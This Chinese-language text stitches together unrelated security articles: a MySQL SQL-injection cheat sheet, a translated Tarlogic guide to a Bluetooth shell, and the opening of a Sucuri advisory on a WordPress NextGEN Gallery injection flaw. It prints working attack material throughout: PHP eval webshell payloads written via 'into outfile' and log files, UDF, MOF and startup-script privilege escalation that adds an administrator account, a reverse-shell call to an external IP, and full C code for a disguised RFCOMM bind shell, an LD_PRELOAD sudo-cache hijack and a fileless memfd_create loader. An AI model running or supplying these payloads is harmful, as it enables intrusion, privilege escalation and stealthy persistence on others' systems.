所谓SQL注入，就是用户在Web表单等能与数据库交互的地方构造特殊的SQL命令，欺骗服务器执行，泄露数据库的信息，甚至getshell。
## 二问？种类如何划分
### （1）以注入点分类
数字型注入
字符型注入
搜索型注入
宽字节注入
Base64变形注入
### （2）以提交方式分类
GET注入
POST注入
Cookie注入
XFF注入
User_Agent注入
### （3）以执行效果分类
联合注入
报错注入
时间盲注
布尔盲注
堆注入
由于篇幅问题（主要是懒╰（‵□′）╯）在这里，就不详细介绍每一种注入的详情了，可直接针对某一种百度，会出现很多优秀的讲解和实战文章的。
## 三问？涵盖哪些常用函数
### （1）字符串截取函数
mid(string,start[,length])
left(string,length)
substr(string,start,length)
substring(string,start,length)
### （2）字符串编码转换函数
ascii()
ord()
hex()
unhex()
### （3）字符串连接函数
concat(str1,str2,str3,…):将多个字符串连接成一个字符串（中间任何一个参数为null，返回值就会为null）
concat_ws(separater,str1,str2,..):和concat()一样，将多个字符串连接成一个字符串，但是可以一次性指定分隔符
group_concat():将group by产生的同一个分组中的值连接起来，返回一个字符串结果。
### （4）报错注入函数
floor()
extractvalue()
updatexml()
exp()
polygon()
multipoint()
GeometryCollection()
multilinestring()
multipolygon()
linestring()
报错注入函数常用的有前面5种。
### （5）盲注函数
if(a,b,c):条件a为真，则b被执行，否则c被执行
sleep()：休眠时间
benchmark()：benchmark(count,expr)函数的执行结果就是将expr表达式执行count次数。
注：对于盲注，还需结合前面介绍的函数（尤其是字符串截取函数）。此外，盲注的手工量比较大，可以结合burpsuite使用。
## 四问？怎么花式绕墙
### （1）手工绕过
（1.1） 绕过空格
`注释符/**/、括号、加号、%20、%09、%0a、%0b、%0c、%0d、%a0、%00`
（1.2）绕过引号
`使用十六进制`
（1.3）绕过逗号
`（使用from、offest、join）`
例如，对于limit绕过可以使用offset来绕过：
`select * from users limit 0,1`
等价于下面这条SQL语句
`select * from users limit 1 offset 0`
又比如：
`select substr(database() from 1 for 1)`
（1.4）绕过=
`使用like、rlike、regexp或者使用>、<`
（1.5）绕过“>”、”<”
`使用greatest()、least()、between()`
（贴一下在别人那儿学到的一个技巧，如下图）
（1.6）绕过union、select、where
### （2）sqlmap工具
sqlmap参数tamper自带了一些常见的绕过脚本：
上述只是举了一小部分脚本，读者在使用sqlmap工具的时候可以尝试使用这些脚本绕过WAF设备。
## 五问？MySQL注入写shell的条件
### （1）利用union select写入
into outfile=into dumpfile
`?id=1 union select 1,"<?php [@eval](https://github.com/eval
"@eval")($_POST['ls']);?>",3 into outfile 'F:/7788/evil.php'`
`?id=1 union select
1,0x223C3F70687020406576616C28245F504F53545B276C73275D293B3F3E22,3 into
outfile "F:/7788/evil.php"`
具体权限要求：
✦secure_file_priv支持web目录文件导出
✦数据库用户file权限
✦获取物理途径
secure_file_priv 特性：
secure_file_priv参数是用来限制load data，select…outfile，and load_file()传到哪个指定目录的。
✔secure_file_priv的值为null时，表示限制mysql不允许导入或导出。
✔secure_file_priv的值为某一路径时，表示限制mysql的导入或导出只能发生在该路径下
✔secure_file_priv的值没有具体值时，表示不对mysql的导入或导出做限制
如何在MySQL查看secure_file_priv参数的值：
`show global variables like '%secure%'`
在mysql 5.6.34版本以后secure_file_priv的值默认为NULL。
并且无法用sql语句对其进行修改，只能够通过修改windows下相应的配置文件my.ini，可执行以下语句查看MySQL的安装目录：
`show global variables like '%datadir%'`
加入：
`secure_file_priv=''`
重启MySQL服务：
这样修改后，就可以在任意目录进行数据导入导出了。也代表着能在有权限的任意文件夹下读写文件
数据库有用户file权限：
`select * from mysql.user where user='test'`
满足了三个条件：
`secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径`
查看相应目录，生成成功。
在实际环境中，写到web目录，再使用工具(菜刀、冰蝎、Godzilla)连接木马。
如果实际环境是linux，则需要修改添加至my.cnf配置文件：
如果没有满足条件（secure_file_priv是默认值），导出文件自然不会成功：
但是该方式仅适用于联合注入。
### （2）利用分隔符写入
当MySQL注入点为盲注或报错时，sqlmap的—os-shell命令可写入的前提条件是：
`secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径`
执行以下语句：
`select 1 into outfile 'F:/7788/evil.php' lines terminated by
0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A;`
### （3）利用log写入
但是现在新版本的MySQL设置了导出文件的路径，我们基本上也没有权限去修改配置文件，更无法通过使用select into
outfile来写入一句话。这时，我们可以通过修改MySQL的log文件来获取Webshell。
同样的具体权限要求：
`数据库用户需具备super和file服务器权限、获取物理路径`
查看日志是否开启：
`show global variables like '%general%'`
一般这个日志记录是默认关闭的，需要我们手动开启。
`set global general_log = on;`
修改日志路径(该路径需要设置到web目录下以便可访问)：
`set global general_log_file='F:\\7788\\shell.php'`
相应目录下创建一个shell.php文件，如下：
写入shell：
`select '<?php [@eval](https://github.com/eval "@eval")($_[tools]);?>'`
### （4）慢日志记录
同样的具体权限要求：
`数据库用户需具备super和file服务器权限、获取物理路径`
slow_query_log：慢日志功能开关
slow_query_log_file：慢日志存放文件位置，自己设置
开启慢日志：
更改路径：
向日志文件写入shell：
`select '<?php phpinfo();?>' or sleep(10)`
慢日志查询：当查询语句执行的时间超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志？
`show global variables like '%query_time%'`
如果查询时间大于等于了上述时间值（默认为10秒），这个查询语句将被记录到慢查询日志中。
如果是9秒，就不会被记录：
## 六问？常见提权手段
MySQL和MsSQL提权方式不一样，本文先主要研究MySQL。
提权的前置条件是拿到一个高权限的数据库管理员账号。
### （1）UDF提权
UDF即User defined
function，用户自定义函数的一个MySQL拓展接口。在获得root权限将文件udf.dll导出到系统目录下，可以通过udf.dll创建执行系统命令的函数来调用执行cmd。（这里用到了“导出”，那么就需要参数secure-file-priv为空）
该udf.dll导出的路径因MySQL版本不同而不同：
1）如果`MySQL<5.1`，udf.dll动态链接文件需要导出的路径为：
Windows2003：c:\windows\system32
Windows2000：c:\winnt\system32。
2）如果`MySQL>=5.1`，必须要把udf.dll动态链接文件导出到MySQL的安装目录：
….\MySQL\lib\plugin
然而，上面显示的默认路径对应的文件夹是不存在的，比如我的就不存在：
这就需要“手工”创建了。
当然这里的手工并不像在本地创建一个文件夹那么简单。企图使用NTFS流创建：
`select 'x' into dumpfile
'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION';
select 'x' into dumpfile`
`'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION';`
无奈“Permission denied”：
一般我们在前面获取到shell之后，可以另外上传某些特别的webshell（MySQL专用网页马）找到MySQL的安装目录，然后创建\lib\plugin。（总之，反正必须想方设法创建这个目录，有什么奇巧的可以交流交流）
假装挑战成功，”手工”创建了该路径（机智如我）
那么接下来要解决的是udf.dll怎么来？（我之前以为是自带的）
观摩优秀前辈们写的文章，主要是两种方式：
1）sqlmap
在sqlmap的`/usr/share/sqlmap/data`目录下，存在针对不同平台的udf：
值得注意的是，sqlmap这些动态链接文件是经过异或编码的，所以直接下载到MySQL的plugin目录下是不行的。因此，需要sqlmap解码后再进行下载。
切换到以下（Linux）目录：
`/usr/share/sqlmap/extra/cloak`
然后执行：
`python3 cloak.py -d -i
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_`
就会生成一个dll文件，将该dll文件下载至MySQL的plugin目录下：
这是一种获取udf.dll文件的方式，下面介绍另一种方式。
2）metasploit
启动msf：
使用msf自带的mysql_udf_payload：
设置上面的`PASSWORD`、`RHOST`、`USERNAME`、`RPORT`等基本信息，就可以`exploit`。
补充一句：目标的3306能外联才能有效。否则，就会出现以下错误：
下载完dll文件，就可以自定义函数了。
不过，自定义函数并不是真的自定义，需要在它符合的函数范围里定义相应的函数（IDA可查看可导出的函数）：
否则：
`create function sys_eval returns string soname "lib_mysqludf_sys.dll"`
`select * from mysql.func`
删除自定义函数：`drop function sys_eval;`
3）udf.shell
上面两种方法适合再目标及可以外联的情况，如果目标机在内网的情况，其实更多的是使用一些网页马，粗暴而又不失文雅！（php版本不一致可能导致马儿不起作用，可自行修改）
马儿地址下载：[https://github.com/echohun/tools/blob/master/大马](https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC)
1号马儿:
2号马儿：
### （2）MOF提权
.mof文件扩展名代表管理对象格式（MOF）及其相关文件类型（.mof）。MOF文件主要用于（传统的）微软系统管理服务器（SMS）软件。在系统中心配置管理器中，自2007年起，微软SMS的后继者，不需要.mof文件，但仍然可以导入。
在Window中，`C:\Windows\System32\wbem\MOF`目录下的mof文件每隔几秒的时间就会被执行。在mof种嵌入vbs脚本，就可以这个脚本来执行系统命令。该提权操作也是有限制条件的，即MySQL有权限操作mof目录。
我再本地访问这个文件夹，Windows出于安全考虑就会提示是否使用管理员权限。
该提权的思路就是获取mof文件
（可以自己编写一个，也可以利用msf的一个提权模块：`use exploit/windows/mysq1/mysq1_ mof`），
利用MySQL写文件的特性可以写入`C:\Windows\System32\wbem\MOF`。（但是实际环境种操作起来，一般还是不会成功，毕竟前置条件还是挺苛刻的）
### （3）启动项提权
Windows开机的时候，会有一些开机自启动的程序，此时的程序启动启用的是system权限。利用这一特性，可将我们的vbs脚本通过MySQL导出到启动项中。
在前面，获取到os-shell后，新建一个表，将vbs脚本一句一句存入表中，最后再导出：
`show databases ;#展示当前有什么数据库`
`use test; #使用其中一个数据库，或者创建一个数据库`
`show tables; #显示该数据库下有什么表`
`create table a (cmd text); #创建一个新表，然后一句一句插入vbs脚本`
`insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );`
`insert into a values ("a=wshshell.run (""cmd.exe /c net user ws/add"",0)") ;
添加新用户`
`insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup
Administrators ws /add"",0) " );
将新用户添加到管理员组`
（vbs脚本可根据自己的需要进行修改替换）接下来就利用MySQL的导出写文件特性（`secure_file_priv`没有限制），导出vbs脚本到本地的启动路径中：
Windows10：`C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup`
尝试失败！估计用户名是中文，还有可能权限不够吧。
总之这是一条思路，提权的方式这种不行再试下一种。
如果能够写入成功，下一次系统用户重启电脑时，就可以得到高权限。
### （4）反连端口提权
这种方式时udf提权的一种延伸吧。当使用udf提权时，如若系统函数被WAF过滤，udf自定义函数中有一个`backshell`，可进行端口转发，绕过。
创建该函数：
mysql > `create function backshell returns strings soname 'udf.dll';`
服务器端设置好监听，然后直接反弹 shell ：
mysql > `select backshell("10.20.xxx.xxx", 445);`
**至此，六问？你学会了吗？**
参考链接：
<https://www.sqlsec.com/2020/11/mysql.html#toc-heading-21>
<https://www.heibai.org/post/1028.html>
<https://zhuanlan.zhihu.com/p/144061985>
<https://www.cnblogs.com/c1e4r/articles/8902444.html>
<https://www.cnblogs.com/xiaozi/p/12767050.html> | 社区文章 |
# 如何只通过蓝牙建立交互式Shell
|
##### 译文声明
本文是翻译文章，文章来源：https://www.tarlogic.com/
原文地址：<https://www.tarlogic.com/en/blog/interactive-shell-via-bluetooth/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在练习中，偶尔会碰到一个或几个需要物理访问机器的阶段。在这篇文章中，介绍了如何在没有互联网连接的Linux电脑中使用的物理方法入侵，当然可以使用Wi-Fi和蓝牙。
这篇文章的主要目的是面向年轻读者，记录和解释以下几点：
1.如何通过蓝牙在两台设备之间通过RFCOMN交换信息
2.如何获取交互式shell以运行命令
3.如何使用sudo缓存以提升权限
4.如何在内存中运行二进制文件以减少跟踪
## 介绍
由于目标机器不能连接到互联网，所以操作受到了限制，应当考虑其他方案来实现远程操作。最简单的方法是建立一个小型Wi-Fi接入点并将受感染的机器连接到它。然而，考虑到给定的情况，还有另一种方式：通过蓝牙建立通信。
## 通过蓝牙与攻击者连接
为了简单起见，被入侵的机器和Red团队之间的信息交换是通过RFCOMM协议进行的。对接受连接的小型服务器进行编程非常简单，因为它与TCP /
IP应该如何完成相似：
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#define BANNER "[+] You are connected to the device!n"
// https://people.csail.mit.edu/albert/bluez-intro/x502.html
int main (int argc, char *argv[]) {
int s, client;
/*
struct sockaddr_rc {
sa_family_t rc_family;
bdaddr_t rc_bdaddr;
uint8_t rc_channel;
};
*/
struct sockaddr_rc loc_addr = {0}, client_addr = {0};
socklen_t opt = sizeof(client_addr);
s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
loc_addr.rc_family = AF_BLUETOOTH;
loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina
loc_addr.rc_channel = (uint8_t) 1; // Canal 1
bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
listen(s,1);
for(;;) {
client = accept(s, (struct sockaddr *)&client_addr, &opt);
printf("[+] New connection!n");
// Escribimos un mensaje al cliente que se ha conectado
write(client, BANNER, strlen(BANNER));
}
close(client);
close(s);
return 0;
}
在运行之前，应该启用蓝牙设备以便进行配对和通信：
`hciconfig hci0 piscan`
配对完成后，我们可以与使用“BlueTerm”Android应用程序创建的服务器进行通信，以进行概念验证。
作为服务器的其它选择和更好的替代方式是作为客户机。我们必须创建一个小程序来搜索任何可用的蓝牙设备，并基于某个简单的前提（例如，特定的名称或地址）并尝试连接到自己。然后，开始信息交换。下面是如何实现上述逻辑的示例:
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/rfcomm.h>
// Nombre del dispotivo que queremos encontrar
#define TARGET "Gojira"
#define BANNER "Connected to device!n"
// https://people.csail.mit.edu/albert/bluez-intro/c404.html
int connect_client(char *address) {
struct sockaddr_rc addr = {0};
int s, client;
s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
addr.rc_family = AF_BLUETOOTH;
addr.rc_channel = (uint8_t) 1;
str2ba(address, &addr.rc_bdaddr);
client = connect(s, (struct sockaddr*)&addr, sizeof(addr));
if (client < 0) {
fprintf(stderr, "[-] Error: could not connect to targetn");
return 0;
}
write(s, BANNER, strlen(BANNER));
return 1;
}
int main (int argc, char **argv) {
inquiry_info *ii = NULL;
int max_rsp, num_rsp;
int dev_id, sock, len, flags, i;
char addr[19] = {0};
char name[248] = {0};
// Utilizamos el primer bluetooth disponible
dev_id = hci_get_route(NULL);
sock = hci_open_dev(dev_id);
if (dev_id < 0 || sock < 0) {
fprintf(stderr, "[-] Error opening socketn");
exit(EXIT_FAILURE);
}
len = 8;
max_rsp = 255;
// Limpiamos los dispositivos que puedan estar cacheados anteriormente
flags = IREQ_CACHE_FLUSH;
ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
// Bucle para escanear
for(;;) {
// Escaneo
num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
if (num_rsp < 0) {
fprintf(stderr, "[+] Error inquiry operationn");
free(ii);
exit(EXIT_FAILURE);
}
// Iteramos por todos los dispoitivos encontrados
for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
memset(name, 0, sizeof(name));
// Leemos el nombre de los dispositivos descubiertos
hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);
// Comprobamos si es el que estamos buscando
if (strcmp(TARGET, name) == 0) {
printf("Found! %s - %sn", name, addr);
free(ii);
close(sock);
connect_client(addr);
exit(EXIT_SUCCESS);
}
}
}
}
这些例子还强调了如何使用异常的RFCOMM来建立快速通信。
## 获取交互式shell
以下步骤是指从我们自己的移动电话或任何其他设备在机器中运行命令。为此，我们将继续以机器本身中等待连接的服务器为例。获取shell最常用的方法是分离进程，使用socket作为`stdin/stdout/stderr`进行子进程并运行命令解释器
#include lt;stdio.h>
#include lt;stdlib.h>
#include lt;unistd.h>
#include lt;signal.h>
#include lt;string.h>
#include lt;sys/socket.h>
#include lt;bluetooth/bluetooth.h>
#include lt;bluetooth/rfcomm.h>
#define BANNER "[+] You are connected to the device!n"
// https://people.csail.mit.edu/albert/bluez-intro/x502.html
int main (int args, char *argv[]) {
int s, client;
pid_t pid;
signal(SIGCHLD, SIG_IGN);
/*
struct sockaddr_rc {
sa_family_t rc_family;
bdaddr_t rc_bdaddr;
uint8_t rc_channel;
};
*/
struct sockaddr_rc loc_addr = {0}, client_addr = {0};
socklen_t opt = sizeof(client_addr);
s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
loc_addr.rc_family = AF_BLUETOOTH;
loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina
loc_addr.rc_channel = (uint8_t) 1; // Canal 1
bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
listen(s,1);
for(;;) {
client = accept(s, (struct sockaddr *)&client_addr, &opt);
printf("[+] New connection!n");
// Escribimos un mensaje al cliente que se ha conectado
write(client, BANNER, strlen(BANNER));
pid = fork();
if (pid == 0) {
dup2(client, 0);
dup2(client, 1);
dup2(client,2);
execve("/bin/sh", NULL, NULL);
}
}
close(client);
close(s);
return 0;
}
以这种方式运行命令时的根本问题可能是出现了限制，因为我们不能通过SSH启动会话，使用VIM等。
自从几年前，可能是由于OSCP和衍生产品，大量的文章详细介绍了不同的方法，以便从一个有限的shell传递到真正的交互式shell。其中一些方法是：
* 带`pty.spawn（“/ bin / bash”）`的经典Python单行程式
* 带`“pty”`选项的Socat
* `Expect / script`
* `stty`
但是，如果我们有机会使用我们自己的二进制文件作为在机器中运行命令的方法，使用[forkpty()](https://linux.die.net/man/3/forkpty)，可以创建一个从伪终端操作的子进程，并且可以从那里运行该shell。证明如下：
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include
#include <sys/select.h>
#include <sys/wait.h>
#include
#define BANNER "[+] You are connected to the device!n"
// https://people.csail.mit.edu/albert/bluez-intro/x502.html
int main (int args, char *argv[]) {
int s, client;
signal(SIGCHLD, SIG_IGN);
/*
struct sockaddr_rc {
sa_family_t rc_family;
bdaddr_t rc_bdaddr;
uint8_t rc_channel;
};
*/
struct sockaddr_rc loc_addr = {0}, client_addr = {0};
socklen_t opt = sizeof(client_addr);
s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
loc_addr.rc_family = AF_BLUETOOTH;
loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina
loc_addr.rc_channel = (uint8_t) 1; // Canal 1
bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));
listen(s,1);
for(;;) {
client = accept(s, (struct sockaddr *)&client_addr, &opt);
printf("[+] New connection!n");
// Escribimos un mensaje al cliente que se ha conectado
write(client, BANNER, strlen(BANNER));
dup2(client, 0);
dup2(client, 1);
dup2(client,2);
//A partir de aquí empieza la magia
struct termios terminal;
int terminalfd, n = 0;
pid_t pid;
char input[1024];
char output[1024];
// Creamos un nuevo proceso hijo que operará en un pseudoterminal
pid = forkpty(&terminalfd, NULL, NULL, NULL);
if (pid < 0) {
fprintf(stderr, "[-] Error: could not forkn");
exit(EXIT_FAILURE);
}
else if (pid == 0) { // Estamos en el proceso hijo que tiene el PTY
execlp("/bin/zsh", "[kworker:01]", NULL);
}
else { // Proceso padre
// Atributos: sin ECHO
tcgetattr(terminalfd, &terminal);
terminal.c_lflag &= ~ECHO;
tcsetattr(terminalfd, TCSANOW, &terminal);
// Utilizaremos select para comprobar si hay datos y enviarlos en un sentido u otro
fd_set readfd;
for(;;) {
FD_ZERO(&readfd);
FD_SET(terminalfd, &readfd); // Si terminalfd tiene datos
FD_SET(1, &readfd); // Si el socket tiene datos
select(terminalfd + 1, &readfd, NULL, NULL, NULL);
if (FD_ISSET(terminalfd, &readfd)) { // Hay datos desde el proceso hijo
n = read(terminalfd, &output, 1024);
if (n <= 0) { write(2, "[+] Shell is dead. Closing connection!nn", strlen("[+] Shell is dead. Closing connection!nn")); break; } write(2, output, n); // Los mandamos por el socket memset(&output, 0, 1024); } if (FD_ISSET(1, &readfd)) { // Hay datos en el socket memset(&input, 0, 1024); n = read(1, &input, 1024); if (n > 0) {
write(terminalfd, input, n); // Los escribimos en el STDIN del proceso hijo
}
}
}
}
}
close(client);
close(s);
return 0;
}
在下面的图片中，我们可以清楚地看到我们之前没有伪端点的外壳的不同之处:
通过这些基础知识，我们可以通过蓝牙使用Shell创建一个小型二进制机器控制器。让我们继续
## 通过sudo缓存提高权限
虽然在前面的章节中，我们重点介绍了通过蓝牙实现控制的概念证明，但理想情况下，我们的程序应尽可能以最大权限运行。可以使用的最古老的技术之一是利用sudo缓存运行命令或我们自己的二进制文件。
默认情况下，当终端首次运行sudo时，需要用户的密码。但是，此密码会在一段时间内被缓存，阻止用户在每次使用sudo执行任务时引入该密码。如果我们在执行sudo的终端中重复运行我们自己的二进制文件，这个功能很容易被滥用。因此，我们希望找到一个时间窗口，其中密码被缓存并且未被请求，以便我们最终可以执行sudo。
实现上述事实的最简单方法是编辑文件.bashrc（或其他使用其他shell的等效文件），并将环境变量LD_PRELOAD添加到我们的某个库中。这就是我们如何在运行在该shell中的动态链接二进制文件中预加载我们的库。当预加载我们的库时，我们可以自由地挂接运行的任何函数。因此，每次调用该函数时，我们的一个主管职能部门应检查凭证是否被缓存：如果是这种情况，将开始所需的一组操作。
重要：我们不会在sudo中加载我们的库（因为它包含suid），我们真正在做的是将其加载到其他二进制文件中，以便每当运行挂钩函数时检查是否可以在不注册密码的情况下执行sudo
。
作为概念的简单证明，我们可以使用以下示例来表示工作流程：
#define _GNU_SOURCE
#include <sys/stat.h>
#include <sys/wait.h>
//Basado en https://blog.maleadt.net/2015/02/25/sudo-escalation/
typedef int (*orig_open_f_type) (const char *pathname, int flags);
int open(const char *pathname, int flags, ...){ // A modo de ejemplo "hookearemos" open()
orig_open_f_type orig_open;
pid_t pid, extrapid;
int empty, exitcode;
orig_open = (orig_open_f_type) dlsym(RTLD_NEXT, "open"); // Guardamos una referencia a la función open original
pid = fork(); // Nos forkeamos para comprobar si sudo se encuentra cacheado o no
if (pid == 0) { //Si estamos en el hijo...
empty = orig_open("/dev/null", O_WRONLY);
dup2(empty, STDERR_FILENO); // ...silenciamos cualquier error...
execlp("sudo", "sudo", "-n", "true", NULL);// ...y ejecutamos sudo
exit(-1);
} else { // Estamos en el padre...
wait(&exitcode);
if (WIFEXITED(exitcode) && WEXITSTATUS(exitcode) == 0) {
if (exitcode == 0){ // Si todo ha ido bien y hemos podido ejecutar sudo...
extrapid = fork(); //Nos forkeamos para dejar fluir el programa
if (extrapid == 0) {
printf("It worked!n"); // Y ejecutamos lo que queramos
execlp("sudo", "sudo", "id", NULL);
}
}
}
}
return orig_open(pathname, flags); // Llamamos al open() original y devolvemos el resultado
}
## 在内存中运行二进制文件
从内核3.17开始，我们依赖一个名为[“ memfd_create ”
](https://dvdhrm.wordpress.com/2014/06/10/memfd_create2/)的新系统调用，它可以收集与内存相关的文件描述符。通过这种方式，可以执行文件操作，但这些操作不会链接到文件系统。因此，我们可以使用它来托管包含最相关代码的库或二进制文件（可通过蓝牙下载）。这就是我们应该如何处理一个负责仅连接和下载一系列模块的框架。但是将它们下载到`/dev/shm`并在运行或加载后快速删除它们。这些想法在[‘Loading
“fileless” Shared Objects (memfd_create + dlopen)’
](https://x-c3ll.github.io/posts/fileless-memfd_create/)后进行详细说明。
我们将结合这篇文章中讨论的所有内容（包括任何特定名称检测，连接，下载和加载的蓝牙设备）作出以下代码：
#define _GNU_SOURCE
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/rfcomm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#define TARGET "Gojira"
#define SHM_NAME "IceIceBaby"
#define __NR_memfd_create 319 // https://code.woboq.org/qt5/include/asm/unistd_64.h.html
// Wrapper to call memfd_create syscall
static inline int memfd_create(const char *name, unsigned int flags) {
return syscall(__NR_memfd_create, name, flags);
}
// Detect if kernel is < or => than 3.17
// Ugly as hell, probably I was drunk when I coded it
int kernel_version() {
struct utsname buffer;
uname(&buffer);
char *token;
char *separator = ".";
token = strtok(buffer.release, separator);
if (atoi(token) < 3) { return 0; } else if (atoi(token) > 3){
return 1;
}
token = strtok(NULL, separator);
if (atoi(token) < 17) {
return 0;
}
else {
return 1;
}
}
// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
int shm_fd;
//If we have a kernel < 3.17
// We need to use the less fancy way
if (kernel_version() == 0) {
shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/2.3/svg/1f641.svg"> fprintf(stderr, "[-] Could not open file descriptorn"); exit(-1); } } // If we have a kernel >= 3.17
// We can use the funky style
else {
shm_fd = memfd_create(SHM_NAME, 1);
if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/2.3/svg/1f641.svg">
fprintf(stderr, "[- Could not open file descriptorn");
exit(-1);
}
}
return shm_fd;
}
// Load the shared object
void load_so(int shm_fd) {
char path[1024];
void *handle;
printf("[+] Trying to load Shared Object!n");
if (kernel_version() == 1) { //Funky way
snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
} else { // Not funky way <img draggable="false" class="emoji" alt="🙁" src="https://s.w.org/images/core/emoji/2.3/svg/1f641.svg">
close(shm_fd);
snprintf(path, 1024, "/dev/shm/%s", SHM_NAME);
}
handle = dlopen(path, RTLD_LAZY);
if (!handle) {
fprintf(stderr,"[-] Dlopen failed with error: %sn", dlerror());
}
}
//Connect to client, read module and write to RAM
int download_to_RAM(char *address) {
struct sockaddr_rc addr = {0};
char recvBuff[2048];
int s, client, fd, size;
s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
addr.rc_family = AF_BLUETOOTH;
addr.rc_channel = (uint8_t) 1;
str2ba(address, &addr.rc_bdaddr);
client = connect(s, (struct sockaddr*)&addr, sizeof(addr));
if (client < 0) {
fprintf(stderr, "[-] Error: could not connect to targetn");
exit(-1)
}
fd = open_ramfs();
printf("[+] File descriptor for RAM file createdn");
printf("[+] Reading file from socket & writting to RAM file... ");
while(1) {
if ((size = read(s, recvBuff, 2048)) <= 0) {
printf("finishedn");
break;
}
write(fd, recvBuff, size);
}
return fd;
}
int main (int argc, char **argv) {
int fd;
inquiry_info *ii = NULL;
int max_rsp, num_rsp;
int dev_id, sock, len, flags, i;
char addr[19] = {0};
char name[248] = {0};
// Utilizamos el primer bluetooth disponible
dev_id = hci_get_route(NULL);
sock = hci_open_dev(dev_id);
if (dev_id < 0 || sock < 0) {
fprintf(stderr, "[-] Error opening socketn");
exit(EXIT_FAILURE);
}
len = 8;
max_rsp = 255;
// Limpiamos los dispositivos que puedan estar cacheados anteriormente
flags = IREQ_CACHE_FLUSH;
ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));
// Bucle para escanear
for(;;) {
// Escaneo
num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);
if (num_rsp < 0) {
fprintf(stderr, "[+] Error inquiry operationn");
free(ii);
exit(EXIT_FAILURE);
}
// Iteramos por todos los dispoitivos encontrados
for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);
memset(name, 0, sizeof(name));
// Leemos el nombre de los dispositivos descubiertos
hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);
// Comprobamos si es el que estamos buscando
if (strcmp(TARGET, name) == 0) {
printf("Found! %s - %sn", name, addr);
free(ii);
close(sock);
fd = download_to_RAM(addr);
load_so(fd);
exit(EXIT_SUCCESS);
}
}
}
exit(0);
} | 社区文章 |
# 【技术分享】WordPress插件漏洞影响超过100万个网站
##### 译文声明
本文是翻译文章，文章来源：sucuri.net
原文地址：<https://blog.sucuri.net/2017/02/sql-injection-vulnerability-nextgen-gallery-wordpress.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：120RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言** ****
作为我们[Sucuri防火墙(WAF)](https://sucuri.net/website-firewall/)漏洞研究项目的一部分，为了查找存在的安全问题，我们已经审计了多个开源项目。当审计WordPress的“NextGEN”相册插件时，我们发现了一个严重的SQL注入漏洞。该漏洞允许一个未经授权的用户从受害人网站的数据库中偷取数据，包括用户的敏感信息。目前，有超过100万个WordPress网站安装了这个易被攻击的插件。
**你处在危险中吗？**
攻击者利用该漏洞需要至少两个条件：
1.在你的网站中是否使用了“NextGEN Basic TagCloud Gallery”？
2.你是否允许你网站的用户提交要审阅的文章(投稿人)？
如果你的网站符合这两种情况之一，那你已经处在危险之中了。
漏洞原因是NextGEN相册允许用户在WordPress执行一条SQL查询时输入未经过滤的数据，本质上就是将用户输入直接添加到了一条SQL查询中。使用该攻击方法，一个攻击者可以偷取到密码的HASH、和WordPress其它配置的秘密信息。
**技术细节**
永远不要相信输入数据—这是一条金科玉律。如果遵守这条规律，那将会很安全。在很多情况下，我们必须问自己几个简单的问题：
1.这条输入数据足够安全吗？
2.对它进行过滤了吗？
3.我们遵循任何具体框架的规则和最佳实践了吗？
WordPress使用了PHP的vsprintf函数，用于在$wpdb->prepare()函数中提前准备好SQL
